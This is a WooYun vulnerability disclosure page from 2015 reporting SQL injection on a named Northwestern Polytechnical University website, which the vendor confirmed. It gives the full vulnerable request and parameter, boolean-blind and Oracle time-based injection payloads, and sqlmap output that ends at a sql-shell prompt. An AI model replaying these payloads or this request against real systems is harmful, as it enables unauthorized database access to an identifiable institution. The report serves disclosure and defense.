当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156950

漏洞标题:西北工业大学某站SQL注入#可获取sql-shell

相关厂商:西北工业大学

漏洞作者: 路人甲

提交时间:2015-11-30 16:14

修复时间:2016-01-15 10:44

公开时间:2016-01-15 10:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-30: 细节已通知厂商并且等待厂商处理中
2015-12-01: 厂商已经确认,细节仅向厂商公开
2015-12-11: 细节向核心白帽子及相关领域专家公开
2015-12-21: 细节向普通白帽子公开
2015-12-31: 细节向实习白帽子公开
2016-01-15: 细节向公众公开

简要描述:

如题

详细说明:

0x01 漏洞站点

xbgf.nwpu.edu.cn


0x02 漏洞类型

<code>布尔类型盲注

</code>
0x03 漏洞请求参数

GET /concernAction.action?key=-1&method=get&typeId=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://xbgf.nwpu.edu.cn:80/
Cookie: JSESSIONID=4B9585743B61D81B2B77629E7E6EAEA4; BAIDUID=F956C96A974341E1ADEE6111EF968CDF:FG=1
Host: xbgf.nwpu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

关键字key
0x04 漏洞利用工具

sqlmap


漏洞证明:

0x05 漏洞证明

---
Place: GET
Parameter: key
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: key=-1' AND 2739=2739 AND 'jSlJ'='jSlJ&method=get&typeId=1
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: key=-1' AND 6137=DBMS_PIPE.RECEIVE_MESSAGE(CHR(105)||CHR(117)||CHR(81)||CHR(107),5) AND 'AjJs'='AjJs&method=get&typeId=1
---
[12:49:40] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle


web application technology: JSP
back-end DBMS: Oracle
[22:42:14] [INFO] testing if current user is DBA
[22:42:14] [WARNING] reflective value(s) found and filtering out
[22:42:14] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
[22:42:14] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[22:42:14] [INFO] fetching database (schema) names
[22:42:14] [INFO] fetching number of databases
[22:42:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:42:14] [INFO] retrieved:
[22:42:15] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:42:27] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[22:42:28] [ERROR] unable to retrieve the number of databases
[22:42:28] [INFO] falling back to current database
[22:42:28] [INFO] fetching current database
[22:42:28] [INFO] resumed: !
[22:42:28] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
available databases [1]:
[*] !
[22:42:28] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-12-01 10:42

厂商回复:

感谢您的报告,高校网络安全需要你们,注入漏洞详情已转发给站点负责人。

最新状态:

暂无